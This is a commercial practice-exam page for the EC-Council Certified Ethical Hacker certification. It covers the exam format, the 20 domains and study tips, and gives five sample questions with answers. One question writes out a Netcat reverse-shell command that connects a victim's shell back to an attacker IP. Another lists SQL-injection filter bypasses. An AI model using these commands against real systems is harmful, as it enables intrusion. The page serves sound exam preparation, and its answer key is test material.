EC-Council · CEH
Certified Ethical Hacker (CEH) Practice Tests
Validates proficiency in ethical hacking techniques and tools across 20 security domains, including reconnaissance, network scanning, vulnerability analysis, system hacking, malware threats, social engineering, web application attacks, SQL injection, cryptography, and cloud and IoT security.
Exam Details
Practice Questions
594
≈ 4 practice exams
Duration
240 minutes
Passing Score
70%
Difficulty
AssociateLast Updated
Feb 2026
Certified Ethical Hacker Practice Test
This Certified Ethical Hacker practice test helps you review reconnaissance, scanning, enumeration, exploitation concepts, web application attacks, malware, wireless security, cloud security, and defensive countermeasures. The goal is to improve your ability to identify the right technique or tool from a scenario, not simply remember labels.
Use the free questions to benchmark your starting point, then practice in focused sessions by reviewing every explanation after submission. CEH preparation benefits from repetition because many answer choices are close; understanding why the wrong options fail is essential for raising your score.
Exam Overview
The Certified Ethical Hacker (CEH), now in its 13th version (CEH v13), is EC-Council's flagship offensive security certification that validates a professional's ability to identify, exploit, and remediate vulnerabilities using the same tools and techniques as malicious hackers — but within a lawful, authorized context. Spanning 20 security domains and over 550 attack techniques, CEH v13 covers the full spectrum of ethical hacking methodology: from footprinting and reconnaissance through system hacking, malware analysis, social engineering, web application attacks, SQL injection, wireless network exploitation, and cloud and IoT security. The curriculum also integrates AI-driven hacking techniques, making CEH v13 the first ethical hacking certification to incorporate AI and machine learning as core competencies. Launched in September 2024, CEH v13 reflects the evolving threat landscape with updated modules on cloud environments (AWS, Azure), OT/ICS systems, and AI-powered offensive tools. The certification is globally recognized, listed on the U.S. Department of Defense (DoD) Approved Baseline Certifications list (DoD 8570/8140), and is administered through EC-Council's exam code 312-50.
Who Should Take This Exam
CEH is designed for mid-career IT and security professionals who want to formalize and validate their offensive security knowledge. Primary target roles include penetration testers, security analysts, SOC analysts, network security engineers, security auditors, security consultants, and IT managers responsible for defensive strategy. Candidates typically have a background in networking, operating systems, or system administration and are looking to transition into or advance within offensive and red-team security roles. The certification is also widely pursued by professionals in government, defense contracting, and financial services who need credentials recognized by the DoD or regulated-industry compliance frameworks.
Prerequisites
EC-Council does not enforce a formal degree requirement, but candidates must satisfy one of two eligibility paths. The first path requires completing an official EC-Council-accredited CEH training course, after which the candidate is automatically eligible to sit the exam. The second path allows self-study candidates with at least two years of verifiable information security work experience to apply directly by submitting an eligibility application form and paying a $100 non-refundable fee for EC-Council review. Regardless of path, candidates are strongly expected to have working knowledge of TCP/IP networking, Windows and Linux operating systems, and foundational security concepts. Familiarity with tools such as Nmap, Wireshark, and Metasploit is practically necessary to succeed on both the knowledge exam and the optional practical exam.
Exam Format
The CEH knowledge exam (exam code 312-50) consists of 125 multiple-choice questions to be completed in 240 minutes (4 hours). Questions are a mix of knowledge-based and scenario-based multiple-choice items. The exam is delivered either online via remote proctoring through EC-Council's portal or in person at Pearson VUE testing centers worldwide. Scoring uses a scaled model, meaning the exact passing threshold varies by exam form difficulty — typically falling between 60% and 85%, with approximately 70% as a general benchmark. The certification is valid for three years, after which holders must earn 120 EC-Council Continuing Education (ECE) credits or retake the exam. Separately, EC-Council offers the CEH Practical, a 6-hour, 20-challenge hands-on exam conducted in a live cyber range; passing both the knowledge exam and the practical earns the CEH Master designation.
Skills Measured
- 1.Introduction to Ethical Hacking: Covers security fundamentals (CIA triad, attack classification, threat vectors), the five phases of ethical hacking, penetration testing methodologies, and legal/regulatory frameworks governing authorized security testing.
- 2.Footprinting and Reconnaissance: OSINT techniques, Google dorking, WHOIS and DNS enumeration, Shodan queries, social media intelligence gathering, and tools such as Maltego and Recon-ng to build a target profile before active engagement.
- 3.Scanning Networks: Active host discovery, port scanning with Nmap, service and OS fingerprinting, banner grabbing, network topology mapping, and techniques to identify live systems and open attack surfaces.
- 4.Enumeration: Extracting detailed information from target systems including NetBIOS/SMB enumeration, SNMP walking, LDAP queries, NTP enumeration, and username/share harvesting from Windows and Linux environments.
- 5.Vulnerability Analysis: Vulnerability lifecycle, scoring systems (CVSS), and use of scanners such as Nessus, OpenVAS, and Nikto to identify and classify weaknesses in hosts, services, and applications.
- 6.System Hacking: Password cracking techniques (brute force, dictionary, pass-the-hash, rainbow tables), privilege escalation, maintaining persistent access via backdoors and rootkits, and log manipulation to cover tracks.
- 7.Malware Threats: Malware types (viruses, worms, Trojans, ransomware, fileless malware, APTs), creation concepts, evasion techniques, analysis methods (static and dynamic), and anti-malware strategies.
- 8.Sniffing: Passive and active network sniffing, ARP poisoning/spoofing, MAC flooding, DHCP attacks, DNS spoofing, and tools such as Wireshark and Ettercap.
- 9.Social Engineering: Human-based and computer-based social engineering attacks, phishing, vishing, pretexting, impersonation, insider threats, and countermeasures including security awareness programs.
- 10.Denial-of-Service: DoS and DDoS attack categories, volumetric/protocol/application-layer attacks, botnet structures, amplification attacks (DNS, NTP, SSDP), and detection/mitigation strategies.
- 11.Session Hijacking: TCP session hijacking, cookie theft, XSS-based session attacks, MITM techniques, and tools used to intercept or forge authenticated sessions.
- 12.Evading IDS, Firewalls, and Honeypots: Evasion techniques against signature-based and anomaly-based IDS/IPS, firewall rule bypass, tunneling, obfuscation, and honeypot identification.
- 13.Hacking Web Servers: Web server architecture vulnerabilities, misconfiguration exploitation, directory traversal, HTTP response splitting, banner grabbing, and tools such as Metasploit and w3af.
- 14.Hacking Web Applications: OWASP Top 10 vulnerabilities, authentication bypass, broken access control, IDOR, SSRF, XXE, command injection, and web application penetration testing methodology.
- 15.SQL Injection: In-band, blind, and out-of-band SQL injection techniques, error-based and time-based exploitation, automated tools (sqlmap), database fingerprinting, and mitigation via parameterized queries.
- 16.Hacking Wireless Networks: 802.11 standards, WEP/WPA/WPA2/WPA3 weaknesses, evil twin and rogue AP attacks, Bluetooth hacking, Wi-Fi analysis tools (Aircrack-ng, Kismet), and wireless security best practices.
- 17.Hacking Mobile Platforms: Android and iOS security architectures, mobile application vulnerabilities, OWASP Mobile Top 10, mobile device management (MDM) weaknesses, and mobile-specific attack vectors.
- 18.IoT and OT Hacking: IoT architecture attack surface, OT/ICS/SCADA security, MQTT and CoAP protocol vulnerabilities, device firmware analysis, Shodan-based IoT discovery, and industrial control system threats.
- 19.Cloud Computing: Shared responsibility model, cloud-specific threats (misconfigured S3 buckets, IAM misconfigurations, serverless vulnerabilities), container and Kubernetes security, and attacks against AWS, Azure, and GCP environments.
- 20.Cryptography: Symmetric and asymmetric encryption algorithms, PKI and digital certificates, hashing functions, cryptographic attacks (birthday, MITM, padding oracle), disk encryption, and practical use of cryptographic tools.
Study Tips
- Download and study the official CEH v13 exam blueprint (available on EC-Council's website) to understand the 20 domains. Cross-reference every topic in the blueprint against your study materials before the exam to ensure full coverage.
- Use EC-Council's official courseware or an authorized training partner — the official iClass platform includes labs mapped directly to exam objectives and gives you access to the same tools tested on the exam.
- Build a lab environment using free tools: set up Kali Linux in VirtualBox, deploy vulnerable VMs like Metasploitable and DVWA, and practice hands-on with Nmap, Metasploit, Wireshark, sqlmap, and Aircrack-ng, since scenario questions test applied knowledge.
- Focus extra preparation time on web application hacking (OWASP Top 10, SQL injection, XSS) and cloud security, as CEH v13 places significantly heavier weight on these areas compared to prior versions — together they can account for a substantial portion of the exam.
- Take full-length timed practice exams (125 questions in 4 hours) using reputable question banks such as those from Matt Walker's 'CEH Certified Ethical Hacker All-in-One Exam Guide' or EC-Council's official practice tests to build exam stamina and identify weak domains.
- Review the legal and methodology sections thoroughly — questions on the five phases of ethical hacking, penetration testing frameworks (PTES, OWASP Testing Guide), and relevant laws (CFAA, GDPR) appear regularly and are easy points if memorized.
- For CEH v13 specifically, study AI-assisted hacking concepts including how machine learning is used in vulnerability scanning, anomaly detection bypass, and automated exploitation — this new content area is unique to v13 and will be represented in the question pool.
Career Benefits
The CEH certification is one of the most widely recognized offensive security credentials globally, directly qualifying holders for roles such as penetration tester, security analyst, cybersecurity engineer, SOC analyst, security consultant, and information security manager. Salary data from PayScale and Glassdoor indicates CEH-certified professionals earn an average base salary ranging from approximately $86,000 to over $147,000 in the United States, with penetration testers typically earning $95,000–$145,000 and information security managers reaching $90,000–$175,000. CEH holders who transition from network administration roles report salary increases of up to 54% according to EC-Council data. The certification's inclusion on the U.S. Department of Defense Approved Baseline Certifications list (DoD 8570/8140) makes it a mandatory or strongly preferred credential for government, military, and defense contractor positions — an advantage not shared by many competing certifications. Compared to alternatives like CompTIA PenTest+ (entry-level) or OSCP (more hands-on/advanced), CEH occupies a well-recognized middle ground that balances breadth of knowledge with industry name recognition, making it particularly effective for professionals entering or advancing within offensive security who need a credential that resonates with HR and hiring managers across both the public and private sectors.
Sample Questions
5 sample questions with answers and explanations. The full bank has 594 questions, enough for 4 full-length practice exams.
Preview — answers shown1. During a penetration test of a web application, an ethical hacker discovers that the application dynamically generates SQL queries by concatenating user input. The application implements a blacklist that filters the keywords SELECT, UNION, and OR. Which SQL injection technique can bypass this blacklist filter? (Select one!)
AUse case variation such as SeLeCt or UnIoN
BUse double encoding such as %2553%2545%254C%2545%2543%2554
CUse URL encoding such as %53%45%4C%45%43%54
DUse SQL comments to split keywords such as SEL/**/ECT
Explanation
SQL comments can be inserted within keywords to bypass blacklist filters that perform simple string matching. The database parser ignores comments, so SEL/**/ECT becomes SELECT during execution while evading detection. This technique works when the blacklist performs case-insensitive matching but does not account for comment injection. Case variation fails if the blacklist performs case-insensitive matching, which is standard practice. URL encoding may bypass filters if the input is not decoded before filtering, but well-implemented blacklists decode input first. Double encoding is effective only if the application decodes input twice, which is an implementation-specific vulnerability not generally applicable.
2. An attacker establishes a reverse shell connection using Netcat. The victim machine connects back to the attacker's listener. Which two commands correctly establish this connection? (Select two!)
Multiple correct answersAAttacker runs: nc -lvp 4444 to listen for incoming connections
BVictim runs: nc -e /bin/bash 192.168.1.100 4444 to connect back and provide shell access
CAttacker runs: nc -e cmd.exe 192.168.1.100 4444 to send commands
DVictim runs: nc -lvp 4444 to listen for commands
EAttacker runs: nmap -sS -p 4444 192.168.1.100 to scan for the shell
Explanation
Reverse shells bypass firewall restrictions by having the victim initiate the connection to the attacker. The attacker first runs nc -lvp 4444 to listen on port 4444 (-l for listen, -v for verbose, -p for port). The victim then runs nc -e /bin/bash attacker_IP 4444 to execute /bin/bash and connect back, providing shell access. The -e flag executes a program and redirects input/output through the connection. The attacker running nc -e would create a bind shell, not reverse shell. The victim listening would not connect back to the attacker. Nmap scanning does not establish shell connections.
3. A penetration tester analyzes captured network traffic using Wireshark and applies the display filter: tcp.flags == 0x12. Which type of packets will this filter display, and what phase of the TCP three-way handshake do they represent? (Select one!)
ASYN packets during the initial connection request phase
BFIN packets during the connection termination phase
CACK packets during the final handshake completion phase
DSYN-ACK packets during the server acknowledgment phase
Explanation
The hexadecimal value 0x12 represents TCP flags with both SYN and ACK bits set, which occurs in SYN-ACK packets. These packets are sent by the server during the second phase of the TCP three-way handshake in response to the client's initial SYN packet. The three-way handshake consists of: client sends SYN, server responds with SYN-ACK, and client completes with ACK. Pure SYN packets have flag value 0x02, pure ACK packets are 0x10, and FIN packets are 0x01. Understanding TCP flag values is critical for traffic analysis and attack detection.
4. A security analyst needs to identify expired SSL certificates across a network range during a web application assessment. Which Metasploit auxiliary module should be used? (Select one!)
Aauxiliary/scanner/http/ssl
Bauxiliary/scanner/http/cert
Cauxiliary/scanner/http/http_version
Dauxiliary/scanner/ssl/openssl_heartbleed
Explanation
The auxiliary/scanner/http/cert module is specifically designed to scan subnets and identify expired server certificates by checking issuer information and validity dates. The auxiliary/scanner/http/ssl module pulls certificate information but is not focused on expiration checking. The http_version module identifies web server software versions, not certificate status. The openssl_heartbleed module tests for a specific vulnerability, not certificate expiration.
5. During a web application penetration test, an ethical hacker intercepts an HTTP response header containing the following: Set-Cookie: SessionID=a8f5f167f44f4964e6c998dee827110c; Path=/; HttpOnly; Secure; SameSite=Strict. Which two security protections do these cookie attributes provide? (Select two!)
Multiple correct answersAPrevents cookie transmission over unencrypted HTTP connections
BPrevents JavaScript access to the cookie value
CEncrypts the cookie value using AES-256
DPrevents cookie submission in cross-site requests
EEnables cookie sharing across multiple subdomains
Explanation
The Secure attribute ensures cookies are only transmitted over HTTPS connections, preventing interception over unencrypted HTTP. The SameSite=Strict attribute prevents the cookie from being sent in cross-site requests, providing CSRF protection. The HttpOnly attribute prevents JavaScript access to cookies, mitigating XSS-based cookie theft, but this is a third protection not among the two asked. Cookie attributes do not encrypt cookie values; encryption must be implemented at the application layer. The Domain attribute, not shown here, controls subdomain cookie sharing.
CEH Dumps Are the Fastest Way to Lose the Credential Twice
CEH is one of EC-Council's most heavily monitored exams, and confirmed cheating results in permanent loss of the certification and removal from EC-Council's public CEH registry, with a ban from EC-Council's other programs possible for serious violations.
There is an obvious irony in an ethical-hacking credential being earned unethically, and employers in this field notice. CertCompanion's CEH bank has 594 practice questions, 30 free, covering the same 20 domains EC-Council actually tests, from reconnaissance to cloud and IoT security.
More EC-Council Practice Exams
Certified SOC Analyst (CSA)
CSA · 570 questions
Certified Threat Intelligence Analyst (CTIA)
CTIA · 740 questions
Certified Chief Information Security Officer (CCISO)
CCISO · 578 questions
Certified EC-Council Instructor (CEI)
CEI · 611 questions
Computer Hacking Forensic Investigator (CHFI)
CHFI · 589 questions
Certified Cloud Security Engineer (CCSE)
CCSE · 624 questions
$17.99
One-time access to this exam
594 questions (4 practice exams' worth)
Unlimited timed exam simulations
Yours forever — no subscription
Detailed explanations
Free preview stays available